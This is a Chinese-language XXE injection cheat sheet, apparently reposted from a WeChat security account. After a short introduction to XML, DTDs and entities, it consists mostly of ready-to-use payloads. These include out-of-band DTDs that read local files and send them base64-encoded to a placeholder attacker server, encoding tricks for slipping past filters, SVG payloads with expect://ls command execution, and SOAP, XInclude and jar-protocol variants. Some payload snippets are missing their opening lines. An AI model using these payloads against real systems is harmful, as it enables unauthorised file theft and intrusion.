XXE备忘录,个人知识归档。
——前言
阅读声明:纯技术分享,文章仅供参考,文中的知识或工具仅限于读者对自己所负责的网站、服务器等进行学习研究和授权测试,严禁用于一切未授权测试和非法测试,否则产生的一切后果自行承担,与本文作者无关!!!
0x00 介绍
XXE漏洞(XML External Entity Injection) 全称为 XML 外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,如果未能禁止外部实体的加载,攻击者就可以利用这一点加载恶意外部文件。这可能导致一系列严重后果,包括文件读取、命令执行、内网端口扫描、攻击内网网站以及发起拒绝服务攻击等。通常,XXE漏洞的触发点是在允许上传XML文件的位置,如果对上传的XML文件没有进行适当的过滤,就会导致恶意XML文件的上传。
0x01 基础
1.语法
-
所有的XML元素都必须有一个关闭标签
-
XML标签对大小写敏感
-
XML必须正确嵌套
-
XML属性值必须加引号"value"
-
实体引用
-
在XML中,空格会被保留(案例如:<p>A空格B</p>,这时候A和B之间的空格就会被保留)
2.格式
XML 文档有固定的规范格式,并由DTD(document type definition)控制。
# 示例
//XML声明,定义了xml的版本是1.0,编码是utf-8
//下面为DTD,xml约束
<!ELEMENT message (receiver,sender,header,msg)> //定义message元素有四个元素:"receiver,sender,header,msg"
<!ELEMENT receiver (#PCDATA)> //定义receiver元素类型
<!ELEMENT sender (#PCDATA)> //定义sender元素类型
<!ELEMENT header (#PCDATA)> //定义header元素类型
<!ELEMENT msg (#PCDATA)> //定义msg元素类型
]>
<message> //根元素,开始标签
<receiver>Myself</receiver> //receiver元素内容为 Myself
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message> //结束标签
3.实体
实体必须在DTD中声明定义
常用关键字:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
(1)通用实体
# 声明格式:
<!ENTITY 实体名称 "实体的值">
# 例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY writer "Bill Gates">
]>
<root>&writer;</root> //引用实体格式:&实体名;
# 声明格式:
<!ENTITY 实体名称 SYSTEM "URI/URL">
# 例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY name SYSTEM "/etc/test.dtd"> //PUBLIC引用:<!ENTITY name PUBLIC "-//W3C//EVILPAN/EN" "/etc/test.dtd">
]>
<root>&name;</root> //引用实体格式:&实体名;
(2)参数实体
①内部实体
# 声明格式:
<!ENTITY % 实体名称 "实体的值">
# 例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % name "Bill Gates">
%name; //引用实体格式:%实体名;
]>
②外部实体
# 声明格式:
<!ENTITY % 实体名称 SYSTEM "URI">
# 例:
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://ip:8888/test.dtd">//PUBLIC引用:<!ENTITY % name PUBLIC "-//W3C//EVILPAN/EN" "http://ip:8888/test.dtd">
%name; //引用实体格式:%实体名;
]>
PS:
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用;参数实体只能在DTD中定义,DTD中引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
-
允许上传XML文件位置
-
允许上传Excel、Word、SVG等文件位置
2.XML请求判断
-
观察数据包请求参数值格式类型判断
<user>test</user><pass>testpass</pass>
xml=<user>admin</user><pass>passwd</pass>
?xml=<?xml version="1.0"?><!DOCTYPE any [ <!ENTITY x "T">]><a>&x;</a>
-
查看请求头Content-Type值判断
Content-Type:text/xml
Content-Type:application/xml
-
更改Content-Type值,看返回结果判断
Content-Type:text/xmlContent-Type:application/xml
特殊情况,Content-Type: x-www-urlencoded 改 text/xml
# 如果后端代码接受 XML 格式的数据,那么bady数据可以更改请求形式进行请求
# 正常请求:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
# 更改Content-Type和bady数据进行请求,结果相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
3.漏洞测试
(1)有回显 ①返回包直接返回引用实体值
<?xml version="1.0"?>
<!DOCTYPE any [<!ENTITY xxe "test" >]>
<user>&xxe;</user> //根元素任意即可,不影响
②返回包有可控位置回显,根据可控参数位置进行实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any [<!ENTITY xxe "test">]>
<user><username>&xxe;</username><password>test</password></user>
(2)无回显 可尝试DNSlog探测,直接试用参数实体方式引用即可
# 请求监听
nc -lvv 8888 //服务器监听
python -m http.server 8888 //或者python起个简单的http服务
# 带外传输
<!ENTITY % name SYSTEM "http://x.x.x.x:8888/123"> %name;]>
0x03 绕过
1.编码绕过
(1)实体化编码-ASCII
# '''ASCII-DEC'''
## SYSTEM >>> SYSTEM
<!ENTITY % xml '<!ENTITY xxe SYSTEM "c:/1.txt" >'>
%xml;
]>
<message>&xxe;</message>
# '''ASCII-HEX'''
## SYSTEM >>> SYSTEM
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE GVI [
<!ENTITY % xml '<!ENTITY xxe SYSTEM "c:/1.txt" >'>
%xml;
]>
<message>&xxe;</message>
(2)双重实体化编码
# SYSTEM >>> &#83;&#89;&#83;&#84;&#69;&#77;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE GVI [
<!ENTITY % xml '<!ENTITY xxe &#83;&#89;&#83;&#84;&#69;&#77; "c:/1.txt" >'>
%xml;
]>
<message>&xxe;</message>
(3)base64编码
# data
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,PCFFTlRJVFkgc2VuZCBTWVNURU0gJ2ZpbGU6Ly8vYzovMS50eHQnPg==">
%init;
]>
<root>&send;</root>
# PHP
<!ENTITY % init SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgc2VuZCBTWVNURU0gJ2ZpbGU6Ly8vYzovMS50eHQnPg==">
%init;
]>
<root>&send;</root>
(4)UTF-7编码
字符 | < | > | ! | [ | ] | ' | " |
编码 | ADw | AD4 | ACE | AFs | AF0 | ACc | ACI |
字符 | : | ; |
/ |
% |
& |
空格 | |
编码 | ADo | ADs | AC8 | ACU | ACY | ACA |
<?xml version="1.0" encoding="UTF-7" ?>
+ADw-user+AD4-test+ADw-/user+AD4-
<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE a +AFs-
+ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///c:/1.txt+ACI-+AD4-+AF0-+AD4-
<user>&xxe;</user>
<?xml version="1.0" encoding="UTF-8"?>
-
UTF-8
-
UTF-16BE
-
UTF-16LE
-
UTF-32BE
-
UTF-32LE
-
EBCDIC
< ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " U T F - 1 6 B E " ? > < r > t e s t < / r >
PS:试用linux里的iconv工具,进行编码转换,默认utf-8
①声明默认utf-8,元素部分从utf-8更改为utf-16be
printf '%s' '<?xml version="1.0" encoding="UTF-16BE"?>' > xxe.xml
printf '%s' '<r>test</r>' | iconv -f utf-8 -t utf-16BE >> xxe.xml
②声明更改为utf-16le,元素部分更改为utf-16be
printf '%s' '<?xml version="1.0" encoding="UTF-16BE"?>' | iconv -f utf-8 -t utf-16le > xxe.xml
printf '%s' '<r>test</r>' | iconv -f utf-8 -t utf-16be >> xxe.xml
③声明默认utf-8,元素部分更改为ebcdic-us
printf '%s' '<?xml version="1.0" encoding="ebcdic-us"?>' > xxe.xml
printf '%s' '<r>test</r>' | iconv -f utf-8 -t ebcdic-us >> xxe.xml
libxml2 | PHP | Java | .NET |
file | file | file | file |
http | http | http | http |
ftp | ftp | https | https |
php | ftp | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
# test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY xxe "%file;">
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;
]>
<root>&xxe;</root>
# test.dtd,非参数实体调用DTD
<!ENTITY % xxe '<!ENTITY file SYSTEM "file:///c:/1.txt">'>
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;%xxe;
]>
<root>&file;</root>
# test.dtd,参数实体方式调用DTD(嵌套的ENTITY中,采用参数实体方式调用,%需要进行实体编码绕过)
<!ENTITY % xxe '<!ENTITY % file SYSTEM "file:///c:/1.txt">'>
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;%xxe;%file;
]>
<root>test</root>
# test.dtd,带外传输DTD
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % xxe "<!ENTITY % send SYSTEM 'http://ServerIP?p=%file;'>">
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;%xxe;%send;
]>
<root>test</root>
# test.dtd (文件读取路径引用不存在目录,触发报错回显)
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % xxe "<!ENTITY send SYSTEM 'file:///c:/asdfqwe/%file;'>">
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;%xxe;
]>
<user>
<username>&send;</username>
<password>123456</password>
</user>
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" >
<text font-size="16" x="10" y="20">&xxe;</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3000" version="1.1" height="200">
<image xlink:href="file:///etc/hostname"></image>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:8080/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///c:/1.txt"/>
</foo>
<?xml version="1.0" encoding="UTF-8"?>
<root>&xxe;</root>
# test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://x.x.x.x:8080/index.php?flag=%file;'>">
<!ENTITY % remote SYSTEM "http://x.x.x.x:8080/test.dtd">
%remote;%int;%send;
]>
<root>test</root>
(1)介绍:
Jar协议只能在Java的应用程序中触发,它允许访问PKZIP(.zip,.jar)中的文件,并且适用于本地或者远程文件。
(2)执行过程:
(3)示例:
# jar:{url}!/{entry}
jar:file:///var/myarchive.zip!/1.txt
jar:https://download.host.com/myarchive.zip!/1.txt
<!ENTITY remote SYSTEM "jar:https://download.host.com/myarchive.zip!/1.txt">
]>
<convert>&remote;</convert>
10.文档中的额外空格
<user>&xxe;</user>
<user>&xxe;</user>
11.格式无效,链接到未知实体
# test.dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///c:/1.txt">
<!ENTITY % end "]]>">
<!ENTITY send "%start;%stuff;%end;">
<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">
%init;%aaa;
]>
<user><username>&send;</username><password>123123</password></user>
原文始发于微信公众号(黑域之路):06-XXE备忘录
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论